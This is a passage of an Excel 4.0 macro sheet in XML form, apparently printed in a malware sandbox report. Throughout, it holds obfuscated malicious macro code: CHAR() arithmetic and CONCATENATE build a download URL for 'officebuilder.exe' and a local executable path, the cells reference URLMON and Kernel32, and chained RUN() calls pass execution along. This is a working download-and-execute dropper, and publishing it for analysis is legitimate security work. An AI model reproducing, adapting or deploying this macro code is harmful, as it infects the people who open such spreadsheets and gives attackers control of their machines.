t="b"><f>RUN($GB$67)</f><v>0</v></c></row><row r="1655" spans="19:223" x14ac:dyDescent="0.25"><c r="DV1655"><v>157</v></c><c r="HO1655" t="b"><f>RUN($Y$1583)</f><v>0</v></c></row><row r="1660" spans="19:223" x14ac:dyDescent="0.25"><c r="GB1660" t="str"><f>CHAR($HM$146-826)</f><v>n</v></c></row><row r="1661" spans="19:223" x14ac:dyDescent="0.25"><c r="S1661" t="b"><f>RUN($CR$689)</f><v>0</v></c></row><row r="1665" spans="147:167" x14ac:dyDescent="0.25"><c r="EQ1665" t="str"><f>CHAR($ET$1688-28)</f><v>P</v></c></row><row r="1666" spans="147:167" x14ac:dyDescent="0.25"><c r="FK1666"><v>88</v></c></row><row r="1686" spans="12:150" x14ac:dyDescent="0.25"><c r="AF1686"><v>166</v></c></row><row r="1687" spans="12:150" x14ac:dyDescent="0.25"><c r="V1687" t="b"><f>RUN($CO$319)</f><v>0</v></c></row><row r="1688" spans="12:150" x14ac:dyDescent="0.25"><c r="BJ1688" t="str"><f>CHAR($DV$1655-58)</f><v>c</v></c><c r="ET1688"><v>108</v></c></row><row r="1694" spans="12:150" x14ac:dyDescent="0.25"><c r="L1694" t="str"><f>CHAR($S$1974-28)</f><v>\</v></c></row><row r="1698" spans="137:225" x14ac:dyDescent="0.25"><c r="EG1698" t="str"><f>CHAR($D$577-58)</f><v>i</v></c></row><row r="1702" spans="137:225" x14ac:dyDescent="0.25"><c r="GB1702" t="str"><f>CONCATENATE($EW$241,$GJ$1022,$BH$1037,$GK$1069,$B$1314,$D$1142,$DL$1813,$CL$280,$Y$852,$AX$1472,$B$1259,$FL$358,$GO$977,$GQ$775,$CH$1361,$HN$1632,$BP$147,$BI$1117,$L$1694,$EU$737,$HT$131,$GB$1454,$AM$1611,$EQ$1665,$EI$1906,$AN$438,$HV$1518,$DV$1969,$DD$1180)</f><v>C:\WbNGNqE\DTXaRqG\gytjPXY.ex</v></c></row><row r="1705" spans="137:225" x14ac:dyDescent="0.25"><c r="GY1705"><v>160</v></c><c r="HG1705" t="str"><f>CHAR($HS$1771-58)</f><v>d</v></c></row><row r="1710" spans="137:225" x14ac:dyDescent="0.25"><c r="HQ1710" t="b"><f>RUN($HS$1052)</f><v>0</v></c></row><row r="1711" spans="137:225" x14ac:dyDescent="0.25"><c r="EV1711" t="b"><f>RUN($CT$1039)</f><v>0</v></c></row><row r="1717" spans="38:224" x14ac:dyDescent="0.25"><c r="BY1717"><v>85</v></c></row><row r="1719" spans="38:224" x14ac:dyDescent="0.25"><c r="GL1719" t="b"><f>RUN($HQ$1710)</f><v>0</v></c></row><row r="1726" spans="38:224" x14ac:dyDescent="0.25"><c r="HP1726" t="str"><f>CHAR($IB$816-334)</f><v>n</v></c></row><row r="1727" spans="38:224" x14ac:dyDescent="0.25"><c r="AL1727"><v>86</v></c></row><row r="1729" spans="31:232" x14ac:dyDescent="0.25"><c r="HX1729" t="str"><f>CHAR($BR$159-334)</f><v>t</v></c></row><row r="1730" spans="31:232" x14ac:dyDescent="0.25"><c r="FT1730"><v>105</v></c></row><row r="1731" spans="31:232" x14ac:dyDescent="0.25"><c r="CF1731"><v>105</v></c><c r="EG1731" t="b"><f>RUN($GP$691)</f><v>0</v></c></row><row r="1732" spans="31:232" x14ac:dyDescent="0.25"><c r="AE1732" t="b"><f>RUN($IA$352)</f><v>0</v></c></row><row r="1735" spans="31:232" x14ac:dyDescent="0.25"><c r="EH1735"><v>66</v></c></row><row r="1737" spans="31:232" x14ac:dyDescent="0.25"><c r="EJ1737" t="b"><f>RUN($CA$159)</f><v>0</v></c></row><row r="1740" spans="31:232" x14ac:dyDescent="0.25"><c r="BG1740"><v>435</v></c></row><row r="1744" spans="31:232" x14ac:dyDescent="0.25"><c r="ET1744"><v>438</v></c></row><row r="1745" spans="14:129" x14ac:dyDescent="0.25"><c r="DR1745"><v>93</v></c></row><row r="1750" spans="14:129" x14ac:dyDescent="0.25"><c r="DY1750" t="str"><f>CONCATENATE($DD$626)</f><v>URLMON</v></c></row><row r="1751" spans="14:129" x14ac:dyDescent="0.25"><c r="BX1751"><v>74</v></c></row><row r="1753" spans="14:129" x14ac:dyDescent="0.25"><c r="N1753"><v>49</v></c></row><row r="1755" spans="14:129" x14ac:dyDescent="0.25"><c r="BL1755"><v>45</v></c></row><row r="1762" spans="12:227" x14ac:dyDescent="0.25"><c r="FH1762"><v>59</v></c></row><row r="1764" spans="12:227" x14ac:dyDescent="0.25"><c r="S1764" t="b"><f>RUN($EV$1711)</f><v>0</v></c><c r="Y1764" t="str"><f>CHAR($CZ$588-826)</f><v>3</v></c><c r="AZ1764" t="b"><f>RUN($FC$472)</f><v>0</v></c></row><row r="1770" spans="12:227" x14ac:dyDescent="0.25"><c r="GA1770" t="str"><f>CHAR($GY$1705-58)</f><v>f</v></c></row><row r="1771" spans="12:227" x14ac:dyDescent="0.25"><c r="HS1771"><v>158</v></c></row><row r="1772" spans="12:227" x14ac:dyDescent="0.25"><c r="GC1772" t="str"><f>CHAR($BE$836-334)</f><v>l</v></c></row><row r="1773" spans="12:227" x14ac:dyDescent="0.25"><c r="R1773"><v>149</v></c><c r="GL1773" t="str"><f>CHAR($CD$865-58)</f><v>r</v></c></row><row r="1776" spans="12:227" x14ac:dyDescent="0.25"><c r="L1776"><v>106</v></c></row><row r="1778" spans="29:242" x14ac:dyDescent="0.25"><c r="CE1778"><v>88</v></c></row><row r="1779" spans="29:242" x14ac:dyDescent="0.25"><c r="ES1779"><v>99</v></c></row><row r="1783" spans="29:242" x14ac:dyDescent="0.25"><c r="DI1783" t="str"><f>CONCATENATE($B$266,$II$1951)</f><v>http://cloud-server-updater5.co.za/doc/officebuilder.exe</v></c><c r="FA1783" t="str"><f>CHAR($DT$1870-334)</f><v>D</v></c></row><row r="1789" spans="29:242" x14ac:dyDescent="0.25"><c r="AC1789"><v>28</v></c><c r="HH1789"><v>169</v></c></row><row r="1790" spans="29:242" x14ac:dyDescent="0.25"><c r="IH1790"><v>174</v></c></row><row r="1793" spans="12:185" x14ac:dyDescent="0.25"><c r="N1793" t="str"><f>CHAR($AR$485-58)</f><v>e</v></c></row><row r="1795" spans="12:185" x14ac:dyDescent="0.25"><c r="GB1795"><v>33</v></c></row><row r="1796" spans="12:185" x14ac:dyDescent="0.25"><c r="GC1796"><v>104</v></c></row><row r="1800" spans="12:185" x14ac:dyDescent="0.25"><c r="CS1800" t="str"><f>CHAR($DP$1285-826)</f><v>M</v></c></row><row r="1805" spans="12:185" x14ac:dyDescent="0.25"><c r="L1805" t="str"><f>CHAR($IH$1790-58)</f><v>t</v></c></row><row r="1806" spans="12:185" x14ac:dyDescent="0.25"><c r="BF1806"><v>42</v></c></row><row r="1809" spans="68:224" x14ac:dyDescent="0.25"><c r="BU1809" t="str"><f>CHAR($CQ$1023-58)</f><v>t</v></c></row><row r="1811" spans="68:224" x14ac:dyDescent="0.25"><c r="HP1811"><v>174</v></c></row><row r="1813" spans="68:224" x14ac:dyDescent="0.25"><c r="DL1813" t="str"><f>CHAR($DB$1355-28)</f><v>G</v></c></row><row r="1820" spans="68:224" x14ac:dyDescent="0.25"><c r="BP1820"><v>48</v></c></row><row r="1821" spans="68:224" x14ac:dyDescent="0.25"><c r="GY1821"><v>55</v></c></row><row r="1822" spans="68:224" x14ac:dyDescent="0.25"><c r="ES1822" t="str"><f>CHAR($I$212-334)</f><v>i</v></c></row><row r="1827" spans="53:228" x14ac:dyDescent="0.25"><c r="FE1827"><v>148</v></c></row><row r="1829" spans="53:228" x14ac:dyDescent="0.25"><c r="HT1829" t="b"><f>RUN($HI$1196)</f><v>0</v></c></row><row r="1830" spans="53:228" x14ac:dyDescent="0.25"><c r="GH1830" t="str"><f>CHAR($EI$566-334)</f><v>y</v></c></row><row r="1840" spans="53:228" x14ac:dyDescent="0.25"><c r="BA1840" t="str"><f>CHAR($BG$1740-334)</f><v>e</v></c></row><row r="1843" spans="74:140" x14ac:dyDescent="0.25"><c r="BV1843" t="str"><f>CHAR($DV$458-58)</f><v>d</v></c></row><row r="1846" spans="74:140" x14ac:dyDescent="0.25"><c r="DL1846" t="b"><f>RUN($CM$1635)</f><v>0</v></c></row><row r="1852" spans="74:140" x14ac:dyDescent="0.25"><c r="EJ1852"><v>42</v></c></row><row r="1855" spans="74:140" x14ac:dyDescent="0.25"><c r="CW1855" t="str"><f>CHAR($IC$1882-334)</f><v>a</v></c></row><row r="1859" spans="2:225" x14ac:dyDescent="0.25"><c r="BD1859" t="b"><f>RUN($AF$1296)</f><v>0</v></c></row><row r="1862" spans="2:225" x14ac:dyDescent="0.25"><c r="AA1862"><v>166</v></c></row><row r="1864" spans="2:225" x14ac:dyDescent="0.25"><c r="HP1864"><v>66</v></c><c r="HQ1864"><v>115</v></c></row><row r="1867" spans="2:225" x14ac:dyDescent="0.25"><c r="B1867"><v>15</v></c></row><row r="1870" spans="2:225" x14ac:dyDescent="0.25"><c r="DT1870"><v>402</v></c></row><row r="1874" spans="158:237" x14ac:dyDescent="0.25"><c r="GT1874" t="str"><f>CHAR($FU$409-334)</f><v>S</v></c></row><row r="1881" spans="158:237" x14ac:dyDescent="0.25"><c r="GW1881" t="b"><f>RUN($FH$470)</f><v>0</v></c></row><row r="1882" spans="158:237" x14ac:dyDescent="0.25"><c r="FB1882"><v>162</v></c><c r="IC1882"><v>431</v></c></row><row r="1891" spans="72:127" x14ac:dyDescent="0.25"><c r="BT1891" t="str"><f>CHAR($IB$42-334)</f><v>e</v></c></row><row r="1900" spans="72:127" x14ac:dyDescent="0.25"><c r="DW1900"><v>52</v></c></row><row r="1904" spans="72:127" x14ac:dyDescent="0.25"><c r="CB1904"><v>22</v></c></row><row r="1906" spans="112:200" x14ac:dyDescent="0.25"><c r="EI1906" t="str"><f>CHAR($CR$1377-28)</f><v>X</v></c></row><row r="1910" spans="112:200" x14ac:dyDescent="0.25"><c r="DH1910" t="b"><f>RUN($V$1687)</f><v>0</v></c></row><row r="1912" spans="112:200" x14ac:dyDescent="0.25"><c r="GR1912"><v>157</v></c></row><row r="1923" spans="25:239" x14ac:dyDescent="0.25"><c r="AI1923"><v>927</v></c></row><row r="1929" spans="25:239" x14ac:dyDescent="0.25"><c r="GS1929"><v>50</v></c></row><row r="1931" spans="25:239" x14ac:dyDescent="0.25"><c r="GL1931"><v>73</v></c></row><row r="1934" spans="25:239" x14ac:dyDescent="0.25"><c r="Y1934"><v>876</v></c><c r="CA1934" t="str"><f>CHAR($AL$264-58)</f><v>u</v></c></row><row r="1936" spans="25:239" x14ac:dyDescent="0.25"><c r="IE1936"><v>930</v></c></row><row r="1939" spans="62:243" x14ac:dyDescent="0.25"><c r="BJ1939"><v>68</v></c></row><row r="1943" spans="62:243" x14ac:dyDescent="0.25"><c r="GW1943" t="b"><f>RUN($BV$845)</f><v>0</v></c></row><row r="1944" spans="62:243" x14ac:dyDescent="0.25"><c r="BU1944" t="str"><f>CHAR($EZ$1335-826)</f><v>U</v></c></row><row r="1946" spans="62:243" x14ac:dyDescent="0.25"><c r="EX1946"><v>435</v></c></row><row r="1951" spans="62:243" x14ac:dyDescent="0.25"><c r="II1951" t="str"><f>CONCATENATE($FM$1570,$BZ$1515,$HO$1508,$E$731,$AG$1475,$BB$391,$BV$1843,$HX$1484,$BJ$1688,$DS$1172,$EK$1348,$CR$514,$GA$1770,$BD$310,$DM$648,$AC$1253,$CN$605,$EQ$1605,$EG$1698,$GK$1282,$HG$1705,$HM$820,$GL$1773,$BH$1069,$N$1793,$AV$3,$CO$113)</f><v>co.za/doc/officebuilder.exe</v></c></row><row r="1954" spans="34:175" x14ac:dyDescent="0.25"><c r="FS1954" t="b"><f>RUN($BV$1998)</f><v>0</v></c></row><row r="1955" spans="34:175" x14ac:dyDescent="0.25"><c r="AH1955" t="str"><f>CHAR($AG$1462-58)</f><v>p</v></c><c r="EY1955"><v>25</v></c></row><row r="1959" spans="34:175" x14ac:dyDescent="0.25"><c r="BY1959"><v>95</v></c></row><row r="1966" spans="34:175" x14ac:dyDescent="0.25"><c r="FK1966"><v>444</v></c></row><row r="1967" spans="34:175" x14ac:dyDescent="0.25"><c r="BD1967"><v>92</v></c></row><row r="1969" spans="19:162" x14ac:dyDescent="0.25"><c r="DV1969" t="str"><f>CHAR($X$103-28)</f><v>e</v></c></row><row r="1971" spans="19:162" x14ac:dyDescent="0.25"><c r="DS1971" t="str"><f>CHAR($AF$774-334)</f><v>O</v></c></row><row r="1972" spans="19:162" x14ac:dyDescent="0.25"><c r="EO1972"><v>112</v></c></row><row r="1974" spans="19:162" x14ac:dyDescent="0.25"><c r="S1974"><v>120</v></c></row><row r="1979" spans="19:162" x14ac:dyDescent="0.25"><c r="EY1979"><v>20</v></c></row><row r="1981" spans="19:162" x14ac:dyDescent="0.25"><c r="EB1981" t="str"><f>CHAR($CZ$1305-58)</f><v>-</v></c></row><row r="1983" spans="19:162" x14ac:dyDescent="0.25"><c r="FF1983"><v>1</v></c></row><row r="1988" spans="54:203" x14ac:dyDescent="0.25"><c r="FE1988" t="str"><f>CONCATENATE($DY$707)</f><v>Kernel32</v></c></row><row r="1994" spans="54:203" x14ac:dyDescent="0.25"><c r="GE1994" t="b"><f>RUN($GG$1295)</f><v>0</v></c></row><row r="1995" spans="54:203" x14ac:dyDescent="0.25"><c r="BB1995"><v>13</v></c><c r="GU1995"><v>68</v></c></row><row r="1998" spans="54:203" x14ac:dyDescent="0.25"><c r="BV1998" t="b"><f>RUN($AF$747)</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>

Open this report in the interactive analyzer, or submit your own file for analysis.